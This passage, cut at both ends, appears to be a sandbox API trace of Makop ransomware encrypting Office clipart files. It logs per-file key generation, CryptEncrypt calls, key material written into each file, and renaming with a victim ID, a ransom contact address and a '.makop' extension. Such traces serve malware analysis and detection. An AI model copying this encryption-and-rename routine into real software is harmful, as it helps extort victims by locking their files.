(HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.317] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.317] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.317] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.318] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x794, lpOverlapped=0x0) returned 1 [0125.318] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a0) returned 1 [0125.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a0, lpOverlapped=0x0) returned 1 [0125.319] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.319] SetEndOfFile (hFile=0xf0) returned 1 [0125.326] GetProcessHeap () returned 0x48a0000 [0125.326] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.326] GetProcessHeap () returned 0x48a0000 [0125.326] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.326] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.334] CloseHandle (hObject=0xf0) returned 1 [0125.335] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0125.335] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0125.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.335] GetProcessHeap () returned 0x48a0000 [0125.335] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.340] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.340] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.340] GetProcessHeap () returned 0x48a0000 [0125.340] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.340] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.340] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.341] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.341] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x29ac, lpOverlapped=0x0) returned 1 [0125.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29b0, dwBufLen=0x29b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29b0) returned 1 [0125.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x29b0, lpOverlapped=0x0) returned 1 [0125.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.344] SetEndOfFile (hFile=0xf0) returned 1 [0125.350] GetProcessHeap () returned 0x48a0000 [0125.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.350] GetProcessHeap () returned 0x48a0000 [0125.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.351] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.352] CloseHandle (hObject=0xf0) returned 1 [0125.352] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0125.352] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0125.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.353] GetProcessHeap () returned 0x48a0000 [0125.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.353] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.354] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.359] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.359] GetProcessHeap () returned 0x48a0000 [0125.359] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.359] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.360] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.360] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.360] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c54, lpOverlapped=0x0) returned 1 [0125.362] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c60, dwBufLen=0x2c60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c60) returned 1 [0125.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c60, lpOverlapped=0x0) returned 1 [0125.363] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.363] SetEndOfFile (hFile=0xf0) returned 1 [0125.370] GetProcessHeap () returned 0x48a0000 [0125.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.370] GetProcessHeap () returned 0x48a0000 [0125.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.370] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.372] CloseHandle (hObject=0xf0) returned 1 [0125.372] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0125.372] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0125.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.373] GetProcessHeap () returned 0x48a0000 [0125.373] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.373] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.373] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.373] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.373] GetProcessHeap () returned 0x48a0000 [0125.373] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.373] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.373] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.373] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.378] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.378] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.379] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.379] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.379] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1190, lpOverlapped=0x0) returned 1 [0125.380] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1190, dwBufLen=0x1190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1190) returned 1 [0125.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1190, lpOverlapped=0x0) returned 1 [0125.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.381] SetEndOfFile (hFile=0xf0) returned 1 [0125.387] GetProcessHeap () returned 0x48a0000 [0125.388] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.388] GetProcessHeap () returned 0x48a0000 [0125.388] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.388] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.389] CloseHandle (hObject=0xf0) returned 1 [0125.389] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0125.389] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0125.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.393] GetProcessHeap () returned 0x48a0000 [0125.393] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.393] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 